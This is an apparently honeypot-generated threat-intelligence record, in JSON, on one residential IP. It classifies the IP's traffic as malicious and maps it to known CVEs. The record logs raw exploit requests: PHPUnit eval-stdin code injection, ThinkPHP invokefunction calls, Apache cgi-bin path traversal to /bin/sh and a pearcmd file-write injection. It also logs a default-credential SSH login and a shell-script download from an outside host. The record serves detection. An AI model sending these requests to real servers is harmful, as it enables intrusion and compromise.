{"ip":"184.185.26.51","data_as_of":"2026-10-27T00:58:07+00:00","observed":true,"total_events":147,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,845,709 bytes, which is sustained payload delivery.","Counts include 3 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive login(s) succeeded."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,845,709 bytes sent","bytes_sent":1845709,"session_seconds":21,"persistent":false},"basis":"combined"},"first_seen":"2026-10-24T14:24:29","last_seen":"2026-10-26T19:59:11","events_24h":0,"events_7d":147,"interactive_sessions":3,"interactive_sessions_24h":1,"interactive_sessions_7d":3,"interactive_protocols":[{"protocol":"http","sessions":2},{"protocol":"ssh","sessions":1}],"geo":{"country_code":"US","country_name":"United States","region":"Virginia","city":"Newport News","lat":37.0737,"lon":-76.4988,"asn":22773,"org":"Cox Communications Inc."},"source_domain":"wsip-184-185-26-51.hr.hr.cox.net","known_scanners":[],"scanner_tag":{"key":"peeringdb:as22773","label":"Cox Communications","category":"isp","url":"https://www.peeringdb.com/asn/22773"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2019-9082","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":3,"first_seen":"2026-10-25T06:35:01","last_seen":"2026-10-26T19:59:11","verdicts":[{"verdict":"unknown","sessions":1},{"verdict":"exploit-attempt","sessions":1},{"verdict":"credential","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":1},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"http","port":80,"sessions":2},{"protocol":"ssh","port":22,"sessions":1}],"logins":[{"username":"admin","password":"admin","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-26T19:59:09"}],"commands":[],"downloads":[{"url":"[https]://217[.]60[.]102[.]5/sh","host":"217[.]60[.]102[.]5","sessions":1,"first_seen":"2026-10-25T06:35:01","last_seen":"2026-10-25T06:35:01","virustotal":{"sha256":"917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c","status":"known","malicious":12,"total":75,"name":""}}],"files":[],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":98,"sessions":0},{"port":80,"proto":"tcp","label":"HTTP","count":49,"sessions":2},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b503038cd3ffe49dbba3d9e5c72c15a3f75c75b70e39971d92479cf850f32b37791c972098f1c5a51e8e4a8e51a60815854d22d7f9a07da7207ceae04634a3be3f56b4360024eaea130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005481a1a000000170000ff01000100000a000c000a9a9a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed9a9a00010011ec04c0cc6420c2b11b3b3a1597f6596c93c270a2098453b3a4474a24fab04fc4bf298a8b3ce607d8d472f2309cf5d625729b3448a09e8c75bcef6a55a5883a716abc1a15b0dfb3cdeb3863b2d7cfa107216e2110da0aabc231beac595a465045db20c7a28a5394dc1fd0ec8b1e7b03cca7cf7f3396d237b58ff64b38300fd039041aca4c75f2b3587334fba5b276037374d5716720413832014d7233328c054e141408a03b79247975a475fc0158dee5386ecc18e4714cc5970122107485a2b51401c469b2361bc32da794476f589be16ca2e503a6768439dab7b484478bcbfb4a57e25a45101910a69dbe447b69762a987b9b756054c2967802c45d8cb27c5ecc33f0288af98776a248423dc438f5c610ee8cce12b9558a8984d7c973c91c9f041760b9f60428cb665f679e44d43220e51e54676843b7458d82239fc1be7ae1874413cb9744b2707a6db45555ed367cee17b033f2794f7a2658b871092271d76656221716df7b80919062c04849a290b19a697bdc7a8ab7c5c6a277427ce6575225075404cfb385860c351e5ed8a022520b466494d2fb91a02622126a2e5d013a751b7e71e6b3640b6c0dfba12bf8382e73448248255750375c78bb8882694b9024bf26ba6ba74b04c5016068bb0403918185cdd8baa83309032e422637878b8faac2ab7c5ea5b475b83032dc9a712bd41a72889589282e9df52d541b70cbf287a9d42cde39826be04113866ad10c5156b50d3cb75dd2e7993398ad748b6772d25509ab21013595dd90a510e724fc65cb1315951e2b1df098969a5603ce820676aba40daa48a94baa4b92c1f98a63e060438628b11ac51f45808a91673efde7769c303ab3319fe36a3054bb24c9436a237b9972e584da656e6d1a879e009a22c7014814ab10eaa9d5620e0bd41d27f7855bdc2d16bb3c6ac00753a7470993afd0349f87f839c9741e5f507c1de360abeca67307730b0cc3a579910bc71a9bfbce1f48b9b4860035801e0a331feda8543d39b0e00116f3777d9ee5b664a3a918dc6fa7bcb4b9e90a6243c1762b8d2f1437ea4aabc2ac0f3d53ba49318602db701b75aaf3a98d629a21c9a0c17381560d7698c2068acbd3a9ac58b9a4389aa00c627fd161e0a66e1b83148f6400c894264cc2b9915c5a6c94aa91439d1f76604113aa2cdccbb1ca8af04aa1a6c9cb5260975f45c4f6a3a9560a2dd6d60c54214ac4bc1a22d01384e207096688527527a9c25a6b20be3a386d7cda169b2a842b444e9c4b0817f30ae225921bf1c96cc45d80bc7823ec38dda6555f068361898e90babfe75442aeb0760ce81c580885dfa891efca63c62cb81d56c2ffb2b320baafad9527962388b24a0639858a46e6506ccbbc9f4a5d2a666a12905185f33962e98ffe96bf8c3c95628a442bb2bcc831a134e03970bc7eb127b12f8b3d52a6c610d8bb3e629dda3ba7c3f13c14041f6bd031d672c6235819c7b7667a2934595c13b2088d546287d9135c7bdc18c0558b8f507828946789a1be89008435771e94eb788f579f5f5cba910b5c1f50bd1ee5b629b362ff339e28f5955987a393b1c04e4311cc171bdd380b5eaa6729275fcecb6efa91ba4c6a29ec6c0ecc6b1d93c1684fe560e8ee36d7c0c3c590716186a5079a443df499b02cc59d08bace56cafc5797e71a8a6e92944327befd2ba1d687345d5eddbb1266f2625607f3100c70ae8cc00737001d002026e738342b663a9d27de6ee229db4aa17e5101c57015f5bfe1cffdd8873bf908002d00020101002b000706eaea030403039a9a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":151,"19532158b559096b89b1a5f7d17175b2":189,"b11cuq070_00050835_c0b30902":225,"b11cun050_00040035_dd905059":273},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-24","count":98,"sessions":0},{"date":"2026-10-25","count":49,"sessions":2},{"date":"2026-10-26","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-25T14:44:43","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":49,"duration_ms":20985,"bytes_in":19215,"bytes_out":3822},{"timestamp":"2026-10-25T14:44:43","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":48,"duration_ms":20529,"bytes_in":19060,"bytes_out":3744},{"timestamp":"2026-10-25T14:44:42","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":47,"duration_ms":20149,"bytes_in":18871,"bytes_out":3666},{"timestamp":"2026-10-25T14:44:42","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":46,"duration_ms":19613,"bytes_in":18612,"bytes_out":3588},{"timestamp":"2026-10-25T14:44:41","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":45,"duration_ms":19157,"bytes_in":18363,"bytes_out":3510},{"timestamp":"2026-10-25T14:44:41","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":44,"duration_ms":18727,"bytes_in":18121,"bytes_out":3432},{"timestamp":"2026-10-25T14:44:41","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":43,"duration_ms":18386,"bytes_in":17848,"bytes_out":3354},{"timestamp":"2026-10-25T14:44:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":42,"duration_ms":18006,"bytes_in":17574,"bytes_out":3276},{"timestamp":"2026-10-25T14:44:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":41,"duration_ms":17596,"bytes_in":17298,"bytes_out":3198},{"timestamp":"2026-10-25T14:44:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"06af5bb9-fb0f-4417-9f47-7ecb88549f99","seq":40,"duration_ms":17206,"bytes_in":17023,"bytes_out":3120}],"http_methods":[{"method":"GET","count":168},{"method":"POST","count":28}],"distinct_ports_total":3,"top_paths":[{"path":"/index.php","count":5,"ports":1},{"path":"/containers/json","count":4,"ports":2},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":4,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2}],"distinct_paths_total":54,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2019-9082","tag_type":"cve","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2019-9082","https://www.exploit-db.com/exploits/46150","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-9082"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}